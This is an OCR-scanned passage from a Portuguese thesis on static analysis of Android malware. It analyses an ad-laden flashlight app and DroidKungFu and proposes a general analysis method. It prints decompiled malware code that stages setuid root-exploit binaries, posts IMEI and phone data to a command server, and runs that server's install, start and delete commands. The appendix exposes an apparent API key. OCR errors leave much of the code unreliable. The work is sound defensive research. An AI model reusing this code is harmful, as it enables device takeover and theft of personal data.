keyboardHidden|orientation" />
<activity android:label="@string/menu_setting" android:name=".Setting" />
<receiver android:name=".Receiver"> -

Figura 6.6: Permissdes do aplicativo com destaque para as permissfes de acesso a Internet

e ao servico de localizacéo.

Pode-se observar na Figura 6.6 duas permissdes em destaque. A primeira (internet) é

relativa ao acesso a Internet, e a segunda (access_fine_location) relativa ao servico de
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localizacdo do usuario (latitude e longitude). Existem outras permissfes que acessam dados
sensiveis do usuario como a permissao “read_phone_state”, porém essa analise tem como foco
observar como o aplicativo utiliza o servico de localizacdo combinado com a conexdo a
Internet.

O proximo passo utiliza o AndroGuard para descobrir quais métodos de quais classes

utilizam as permissoes citadas acima. O resultado é apresentado na Figura 6.7.

In [42]: a,d,dx = AnalyzeAPK("../VirusesAnalysys/BrightestFlashlightFree.apk")
In [43]: p = dx.get_permissions([])

In [44]: show_Paths(d,p["ACCESS FINE LOCATION"])

1 Lcom/admob/android/ads/AdManager;->getCoordinates(Landroid/content/Context;)Landroid/location/Location;
roid/location/LocationManager;->requestlocationUpdates(Ljava/lang/String; J F Landroid/location/LocationLi
os/Looper; )V

1 Lcom/adwhirl/AdwWhirlManager;->getLocation()Landroid/location/Location; (@x4c) ---> Landroid/location/Loc
tLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;

1 Lcom/adwhirl/AdWhirlManager;->getLocation()Landroid/location/Location; (0x7c) ---> Landroid/location/Loc
tLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;

1 Lcom/flurry/android/FlurryAgent;->b(Landroid/content/Context;)Landroid/location/Location; (0x70) ---> La
ocationManager;->requestLocationUpdates(Ljava/lang/String; J F Landroid/location/LocationListener; Landroi
1 Lcom/flurry/android/FlurryAgent;->b(Landroid/content/Context;)Landroid/location/Location; (0x76) ---> La

ocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;

In [45]: show_Paths(d,p["INTERNET"])
1 Lcom/admob/android/ads/i;->d()Z (6x132) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;

1 Lcom/adwhirl/AdWhirlManager;->fetchImage(Ljava/lang/String;)Landroid/graphics/drawable/Drawable; (0xa) -

;->getContent()Ljava/lang/Object;

1 Lcom/millennialmedia/android/HttpHeadRequest;->sendRequest(Ljava/lang/String;)Ljava/lang/String; (0x12)

L; ->openConnection()Ljava/net/URLConnection;

1 Lcom/millennialmedia/android/MMAdView; ->touchUpInside(Ljava/lang/String;)V (6x30) ---> Ljava/net/URL;->0

ava/net/URLConnection;

1 Lcom/millennialmedia/android/OverlayWebviewClient;->shouldOverrideUrlLoading(Landroid/webkit/Webview; Lj

Z (6x20) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lcom/zestadz/android/ZestADZAdView; ->fetch(Ljava/lang/String;)Ljava/lang/Object; (Oxa) ---> Ljava/net/u%
java/lang/Object;

1 Lcom/zestadz/android/ZestadzAd$1$1;->run()V (6x5e) ---> Ljava/net/URL;->openConnection()Ljava/net/URLCon
1 Lcom/zestadz/android/ZestadzAd;->fetch(Ljava/lang/String;)Ljava/lang/Object; (Oxa) ---> Ljava/net/URL;->

Figura 6.7: Resultado do AndroGuard para os métodos que acessam o servico de localizagdo e

de acesso a Internet.

Dos resultados apresentados na Figura 6.7 observa-se que a classe AdManager do pacote
com.admob.android.ads possui métodos que acessam servicos de localizagdo. Com relagdo ao
acesso a Internet a exibicdo da Figura 6.7 teve uma parte omitida tendo em vista que diversas
classes e métodos fazem uso de abertura de conexdo e requisi¢cdes, no entanto nem todas
merecem relevancia uma vez que muitas dessas requisicdes referem-se a propagandas exibidas
durante a utilizacdo do aplicativo, uma pratica muito comum em diversos aplicativos
disponiveis atualmente.

Na andlise do primeiro malware utilizou-se um desassembler, o0 Baksmali, no entanto para
a abordagem corrente utiliza-se o Java Decompiler GUI, uma vez que o0 processo de
decompilacédo do aplicativo foi realizado com sucesso para a maior parte da aplicacdo. Além
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disso, 0 JD GUI exibe o aplicativo como um projeto, permitindo que o usuério realize a busca
de métodos, classes e campos, alem de exibir o cddigo fonte de cada classe. A Figura 6.8

apresenta a interface grafica do JD GUI e um trecho do cddigo da classe AdManager.

Java Decompiler - AdManager.class

File Edit Navigate Search Help

B ™4

4

classesVirus2-dex2jar.jar

v 8 com 4 AdMobwebView.class R.class R.class ac.class AdManager.class * b.class  ai.class d.class |» = |
> { f
> & adwhirl monitorexit;

» 8 android.vending.licensing }
» & flurry.android if (InterstitialAd.c.a("AdMobSDK", 3))

Log.d("AdMobSDK", "Location provider setup successfully.");

» 8 millennialmedia.android R
locallocationManager .requestlocationUpdates(str, OL, 0.0F, new LocationListener(locallLocationManager

|
» § zestadz.android {
| » &8 goldenshorestechnologies public final void gnlocationChanged(Location paramLocation)
{
AdManager . a(paramLocation);
AdManager . a(System. currentTimeMillis());
| this.a.removeUpdates(this);
| if (InterstitialAd.c.a("AdMobSDK", 3))
Log.d("AdMobSDK", "Acquired location " + M.d().geuantude() + "," + AdManager.d().get!
}

Find: |_ocationUpdates | v ¥ | Next ;! Previous Case sensitive X

Figura 6.8: Interface grafica do JD GUI e trecho do cddigo fonte da classe AdManager.

Pode-se observar no trecho de cddigo presente na Figura 6.8 a utilizacdo de classes e
métodos relacionados ao servi¢o de localizacdo, a comecar pela criagdo do LocationListener
para receber informacOes acerca da localizacdo do usuério. Outro fator que é observado na
analise do cddigo fonte dessa classe é que esta armazena alguns identificadores para 0 usuario
além da sua localizacdo, como o género e o IMEI, por exemplo. Para completar a anéalise
observa-se nas classes que utilizam o acesso a Internet se a informacéo € enviada para algum
destino. Foi observado que uma das classes do pacote com.admob.android.ads (mesmo pacote
da classe AdManager) além de abrir conexdo, também envia dados para o destino. O trecho
dessa classe ndo conseguiu ser decompilado com sucesso e apenas o desassembler foi realizado,
porém pode-se observar pelo cddigo em assembler a abertura de conexdo, a aquisi¢do do
“QOutputStream” necessario para envio de dados, e 0 envio de dados através do “write”, como

destacado na Figura 6.9.
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Figura 6.9: Trecho de cddigo da aplicacéo relativo ao envio dos dados para um destino.

Com o término dessa analise pdde-se concluir que a aplicacdo adquire os dados de
localizacdo do usuério, além de outros dados pessoais e de identificagdo do aparelho (IMEI),
com o objetivo de enviar esses dados a terceiros, provavelmente com interesses financeiros

nessas informacoes.

6.3 MALWARE 3

O terceiro malware escolhido para anélise foi o DroidKungFu, que vem juntamente com o
pacote de um aplicativo legitimo e realiza diversas acbes maliciosas em segundo plano. Esse
malware é bastante conhecido por estar presente em uma versdo nao oficial do famoso jogo
Angry Birds Space. No entanto, ele também ja foi identificado em outros aplicativos que se
encontram disponiveis em lojas alternativas que ndo a Google Play. O aplicativo infectado
escolhido para analise foi um aplicativo de video usado como parte de um servico de encontros
chinés, o qual permite ao usuario fazer contato com possiveis parceiros.

Para iniciar a analise, da mesma forma que procedeu-se com o0s demais malwares, utiliza-
se a VirusTotal APl para verificar o que se conhece acerca do aplicativo. Dos anti-virus listados,
41 dos 52 reconhecem a aplicacdo como malware e apresentam o respectivo nome cadastrado.
Apesar do alto numero de identificacbes, nenhuma informacdo adicional acerca do

comportamento da aplicagdo é provida pelo VirusTotal API.
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O proximo passo da anélise consiste em verificar quais as permissdes acessadas pela
aplicacdo por meio da analise do AndroidManifest.xml. Utilizando o APKInspector obtém-se
o resultado apresentado na Figura 6.10.

Mad 00 ¥

MainView

CFG Dalvik ByteCode Smali Java Callinfout Permission |AndroidManifest.xml

<uses-sdk android:minSdkversion="6" />

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_| NETWORK STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

<uses-permission android:name="android.permission.BLUETOOTH" />
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
<uses-permission android:name="android.permission. WRITE_SETTINGS" />

e e S e
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission WRITE_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.RECEIVE BOOT COMPLETED" />

. .p
<uses-permission android:name="android.permission. READ PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name:”android.perrnission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<application android:label="@string/app_name" android:icon="@drawable/icon">
<activity android:label="@string/app_name" android:name=".Switcher"
android:launchMode="singleTop">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="com.google.ads.AdActivity" android:configChanges="keyboard|
keyboardHidden|orientation" />
<activity android:label=" @strlng/menu setting” android:name=".Setting" />

<F“s|¥“??grglgigimg _Receiver">
<intent-filter>

</intent-filter>
</receiver>

< iver android:name=".strateqgy.core.RebirthReceiver">
<|n%enE-Fn[Eer>

<action android:name="android.intent.action.BOOT_COMPLETED" />

Figura 6.10: Permiss@es do aplicativo e broadcast receiver.

Encontram-se destacados na Figura 6.10 as permissbes de acesso a Internet, receber
informagdes acerca do término da inicializacdo do aparelho, leitura de informacées do aparelho
(IMEI), e um Broadcast Receiver, que recebera informac6es acerca do término da inicializacdo
do aparelho.

O préximo passo da analise é observar quais classes e métodos utilizam servigos de cada
permissao a ser analisada. No entanto, o nimero de classes e métodos retornados € muito

extenso para servigos como o de acesso a Internet, o que dificulta muito a analise ao proceder-
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se dessa forma, ao passo que para servicos de leitura de informac6es do aparelho o nimero de
classes e métodos é muito menor para esse aplicativo. Como o nimero de classes a ser analisada
€ muito menor para o servico de leitura de informacdes do aparelho, utiliza-se 0 AndroGuard
para obter quais classes e métodos utilizam esse servico, como mostrado na Figura 6.11.
Observa-se que a classe Utils do pacote com.google.ssearch possui um método que tem por
objetivo obter o nimero IMEI do aparelho.

]: a,d,dx = AnalyzeAPK("../VirusesAnalysys/_com.aijiaoyou.android.sipphone_1005_1.0.5.apk")
]: p = dx.get_permissions([])

In [88]: show_Paths(d,p["READ _PHONE STATE"])

1 Lcom/aijiaoyou/android/sipphone/InitOnlineActivity;->getMobileInfo()V (0x2c) ---> Landroid/telephony/Tel

ephonyManager; ->getDevicelId()Ljava/lang/String;

1 Lcom/google/ssearch/UtilsSPhoneState; ->getImei(Landroid/content/Context;)Ljava/lang/String; (0x8) ---> L

android/telephony/TelephonyManager;->getDeviceld()Ljava/lang/String;

1 Lcom/google/ssearch/UtilsSPhoneState;->getMobile(Landroid/content/Context;)Ljava/lang/String; (0x8) --->
Landroid/telephony/TelephonyManager;->getLinelNumber()Ljava/lang/String;

Figura 6.11: Resultado do AndroGuard para os métodos que acessam informac@es do
aparelho.

Para prosseguir com a analise e obter informagdes mais detalhadas, realiza-se a
decompilacdo do codigo da aplicacdo utilizando a ferramenta Java Decompiler GUI. Ao
observar novamente a classe Utils, constata-se a existéncia de diversos métodos para obter
informac@es acerca do aparelho, desde o niumero IMEI até informacdes do modelo e versao do
sistema Android do aparelho. Apos isso deve-se descobrir quais classes e métodos utilizam os
servicos providos pela classe Utils. Realizando uma busca pela propria interface do JD GUI
verifica-se que a classe SearchService utiliza a classe Utils para implementar diversas
funcionalidades. Uma delas que possui destaque é apresentada na Figura 6.12, onde arquivos
ARM binérios (ratc, gjsvro, kill) sdo carregados para tentar adquirir acesso privilegiado ao
aparelho. Esses arquivos encontram-se no diretério de nome assets do aplicativo como

mostrado na Figura 6.13.
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private void getPermission3()

{

this.mPermState = 3;
if ((Settings.Secure.getInt(getContentResolver(), "adb_enabled", 0) == 0) && (setUsbEnabled() >= 10))

{
this.mPermState = 0;
return;
}
int i = this.mPreferences.getInt("P3", 0);
if (1 >= 16)
{
this.mPermState = 0;
return;
}

int j=1+1;

SharedPreferences.Editor localEditor = this.mPreferences.edit();

localEditor.putInt("P3", j);

localEditor.commit();

ApplicationInfo localApplicationInfo = getApplicationInfo();

Utils.copyAssets(this, "ratc", "/data/data/" + localApplicationInfo.packageName + "/ratc")
Utils.copyAssets(this, "killall", "/data/data/" + localApplicationInfo.packageName + "/killall");
Utils.copyAssets(this, "gjsvro", "/data/data/" + localApplicationInfo.packageName + "/gjsvro")
Utils.oldrun("/system/bin/chmod", "4755 /data/data/" + localApplicationInfo.packageName + "/rafc"):
Utils.oldrun("/system/bin/chmod", "4755 /data/data/" + localApplicationInfo.packageName + "/killall");
Utils.oldrun("/system/bin/chmod”, "4755 /data/data/" + localApplicationInfo.packageName + "/gjsvro™);

new MyThread().start();

Figura 6.12: Método da classe SearchService que utiliza métodos da classe Utils.
iote <’> Laip.
alipay_plugin222_ gjsvro killall legacy
0223.apk — _—
ratc

Figura 6.13: Diretdrio assets da aplicacao.

O método apresentado na Figura 6.12 é apenas um dentre trés existentes para tentar ganhar
acesso privilegiado do aparelho, eles funcionam de forma que a medida que um falha o outro
passa a ser executado. Se o aparelho ja possuir acesso privilegiado, ou seja, sofreu algum tipo
de jail break, a aplicacdo pula esse passo de conseguir acesso privilegiado. Um dos arquivos
utilizados para conseguir o acesso privilegiado, o arquivo ratc apresentado na Figura 6.13,

explora uma vulnerabilidade conhecida como “Rage Against The Cage” e afeta os aparelhos
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Android cuja versdo seja inferior a versdo 2.3. Obter 0 acesso privilegiado ¢ a principal fungéo
desse malware uma vez que para desempenhar o restante de suas func@es ele necessitara disso,
portanto apenas aparelhos Android com verséo inferior a 2.3 e aparelhos que sofreram jail break
serdo afetados. [39]

Pode-se observar que o malware possui também outras duas funcionalidades importantes:
enviar relatorios para o website controlador e executar instrucdes dadas por este. Essas
funcionalidades sdo executadas pelas funcdes doSearchReport e doExecuteTask,

respectivamente, apresentadas nas Figuras 6.14 e 6.15.

private void doSearchReport()
{

updateInfo();

ArrayList localArrayList = new ArrayList();

localArraylList.add(new BasicNameValuePair('imei, this.mImei));

if ((this.mOsType != null) && (!"".equals(this.mOsType)))
localArraylList.add(new BasicNameValuePair('gsfype”, this.mOsType));

if ((this.mOsAPI != null) &% (!"".equals(this.mOsAPI)))
localArrayList.add(new BasicNameValuePair("osapi®, this.mOsAPI));

if ((this.mMobile != null) && (!"".equals(this.mMobile)))
localArrayList.add(new BasicNameValuePair("mobile”, this.mMobile));

if ((this.mModel != null) && (!"".equals(this.mModel)))
localArrayList.add(new BasicNameValuePair("gobilemodel”, this.mModel));

if ((this.mOperater != null) &% (!"".equals(this.mOperater)))
localArrayList.add(new BasicNameValuePair("netoperater”, this.mOperater));

if ((this.mNetType != null) && (!"".equals(this.mNetType)))
localArrayList.add(new BasicNameValuePair("nettype”, this.mNetType));

if ((mIdentifier != null) && (!"".equals(mIdentifier)))
localArrayList.add(new BasicNameValuePair("managerid”, mIdentifier));

if ((this.mSDMem != null) &% (!"".equals(this.mSDMem)))
localArraylList.add(new BasicNameValuePair(_sdmemory”, this.mSDMem));

if ((this.mAliaMem != null) && (!"".equals(this.mAliaMem)))
localArraylList.add(new BasicNameValuePair("aliamemory"”, this.mAliaMem));

if (checkPermission())
localArrayList.add(new BasicNameValuePair("root", "1"));

while (true)

{

HttpPost localHttpPost = new HttpPost( nitp.//search.gongfu androld. coni8o1l/search/savhipho™):

try

{
localHttpPost.setEntity(new UrlEncodedFormEntity(localArraylList, "UTF-8"));
new DefaultHttpClient().execute(localHttpPost).getStatusLine().getStatusCode();
return;
localArrayList.add(new BasicNameValuePair("root", "0")):

}

catch (Exception localException)

{

Figura 6.14: Método da classe SearchService responsavel por enviar um relatdrio para um

servidor web.
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private void doExecuteTask(String paramString)

{
String[] arrayO0fString = paramString.split(" ");
this.mTaskId = array0fString[0];
switch (Integer.parselInt(array0fString[1]))
{
default:

reportState(-1, "UnknownTask");

return;
case 1:

execHomeEage(arrayOfString);
return;

case 2:
execInstall(array0fString);
return;

case 3:

execStartApp(array0fString);
return;

case 4:
execDelete(array0fString);
return;

case 5:

}

execOpenUrl(array0fString);

}

Figura 6.15: Método da classe SearchService que executa comandos do website

controlador.

Para enviar relatorios de estado para o website controlador, o malware realiza um POST
para “http://search.gongfu-android.com:8511/search/sayhi.php” a cada hora. Essa URL pode
ser observada em destaque na Figura 6.14. Ja na Figura 6.15 pode-se observar quais 0s
comandos do controlador que o malware pode executar:

1- Enviar relatério de estado do aparelho.

2- Abrir 0 navegador.

3- Instalar outra aplicacao.

4- Iniciar uma aplicacao.

5- Apagar uma aplicacéo.

Para poder executar esses comandos do website controlador, a aplicacdo necessita realizar
a abertura de um socket para escutar esses comandos. Essa abertura é realizada na classe Utils,
porém o trecho de cddigo correspondente ndo foi decompilado. No entanto, pode-se observar a

criagdo do socket a partir do assembler gerado, como apresentado na Figura 6.16.
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public static class TCP

{
public static final int PORT = 11003;
public static final String SERVER = "localhost";

/ ERROR //
public static boolean execute(String paramString)
{

Figura 6.16: Abertura de socket na porta 11003, para escutar os comandos do servidor

remoto.

Pode-se concluir apds essa analise que o malware consiste apenas em um servico, 0
“google.ssearch”, anexo a aplicacdo que ¢ executado em segundo plano sem que o usudrio
perceba, de forma que a aplicacdo funciona normalmente e o servico persiste mesmo quando a
aplicacdo é encerrada. Apds ser infectado, o aparelho passa a receber instru¢fes de um servidor
remoto, tornando-se um bot. No entanto, o nome da URL do servidor remoto é passado
diretamente por meio do codigo, mas variacfes do malware podem dar origem a uma versado

mais sofisticada.
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7 MODELO DE ANALISE

No intuito de concretizar o resultado do trabalho, elaborou-se uma tabela comparando as

trés andlises de malware realizadas com o objetivo de verificar as semelhancas entre as trés

andlises e com isso abstrair um método geral de analise.

TAB 7.1: Tabela comparativa das trés andlises realizadas.

Passo Malware 1 Malware 2 Malware 3
1 Obtencao do relatério da Obtencdo do relatério da Obtencao do relatério da
VirusTotal API VirusTotal API VirusTotal API
2 Anadlise do AndroidManifest Andlise do AndroidManifest Anadlise do AndroidManifest
(AndroGuard/APKInspector) (APKInspector) (APKInspector)
3 Busca por métodos e classes | Busca por métodos e classes | Busca por métodos e classes
gue acessam uma permissdo | que acessam uma permissdo | gue acessam uma permissao
(Androguard) (Androguard) (Androguard)
4 Desassembler do arquivo Decompila¢do do arquivo Decompilacdo do arquivo
classes.dex (Baksmali) classes.dex classes.dex
(Java Decompiler GUI) (Java Decompiler GUI)
5 Busca e andlise das classes Busca e andlise das classes Busca e analise das classes
que utilizam o servico de gue utilizam o servico de gue utilizam o acesso a rede
envio de SMS localizagdo do aparelho e leitura do estado do
aparelho
6 - - Busca por arquivos ARM

bindrios na pasta Assets

Por meio da Tabela 7.1 pode-se observar que as trés analises seguem passos semelhantes,

mudando apenas no caso em que ndo € possivel realizar a decompilacdo do codigo fonte da
aplicagéo, realizando em vez disso o desassembler, e quando, no momento de analisar as
classes, sdo analisadas as classes relacionadas a permissédo que se deseja explorar, como as
permissdes relacionadas ao servico de localizacdo, por exemplo. Dessa forma, é possivel
construir um unico fluxograma que engloba os trés procedimentos, como mostrado na Figura
7.1. A construcdo desse fluxograma visa obter como resultado um método a ser seguido em
uma analise estatica de malware para Android. Um método que pode futuramente, com algumas

modificagdes, ser automatizado.
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Figura 7.1: Fluxograma gerado a partir da comparacgéo das trés analises.
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8 CONCLUSAO

A flexibilizacdo de sistemas operacionais para dispositivos moveis que permitem e
popularizam a criacdo e aquisicdo de aplicativos fez com que esses dispositivos ganhassem
funcionalidades similares as de um computador. Essas funcionalidades aliadas com as
caracteristicas proprias dos smartphones tornaram esses dispositivos extremamente
interessantes para criadores de softwares maliciosos.

Nesse contexto, o objetivo desse trabalho foi realizar um estudo acerca de malwares para
Android e compreender como estes se comportam. Para atingir esse objetivo, toda a pesquisa
foi focada em andlise estéatica de malwares para Android, a partir da qual foi elaborado um
relatorio discutindo esse assunto desde sua abordagem mais ampla até as especificas
ferramentas utilizadas para realizar essa analise.

O relatério fornece informacdes gerais sobre questdes de seguranca das cinco plataformas
moveis mais populares no mercado: iOS, Windows Phone, BlackBerry, Symbian e Android.
Além disso, o relatorio informa algumas das motivacdes conhecidas para desenvolvedores de
malwares e discorre sobre alguns exemplos de malwares conhecidos, suas funcionalidades e as
permissdes que acessam no aparelho. E fornecida também uma descricio dos tipos de analises
para malware e, por fim, sdo comentadas todas as ferramentas utilizadas para a anélise estatica
de malwares para Android que foram estudadas.

Foram escolhidas as ferramentas consideradas mais adequadas para realizar a analise
estatica em trés malwares para Android ja conhecidos.

Como contribuicOes, este trabalho fornece uma visdo ampla sobre seguranga em
dispositivos moveis, gerando conhecimento sobre as principais ameacgas presentes nesses
sistemas, 0 que é de suma importancia para a sociedade uma vez que as plataformas mdveis se
fazem cada vez mais presentes na vida das pessoas. Além disso, o trabalho apresenta diretrizes
sobre o emprego de algumas das ferramentas disponiveis para realizar analise estatica de
malwares para Android, relatando suas funcionalidades, possiveis problemas, vantagens e

desvantagens.
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10 APENDICES

10.1 APENDICE 1 (Co6digo em Java para realizar uma requisicao ao VirusTotal API)

package virustotalexample;

import java.io.lOException;

import java.util.Set;

import virustotalapi.ReportFileScan;
import virustotalapi.VirusTotal,

public class VirusTotalExample{

public static void main(String[] args) throws IOException {
VirusTotal VT = new
VirusTotal("2dd59¢58929c8bf66a4c3c81d3d26f1a1b0453340bel3cfa3c095249652c2fcd™);
/I'Your Virus Total APl Key

Set <ReportFileScan> Report =
VT.sendFileScan("*/home/maiarabarroso/Downloads/DroidDreamlight2_3D9472D792019E40
605ABFA9CB22FBAS5.zip™);

for(ReportFileScan report : Report){
System.out.printin("URL.: "+report.getPermaLink()+" Response code:
"+report.getResponseCode());
}
}
}
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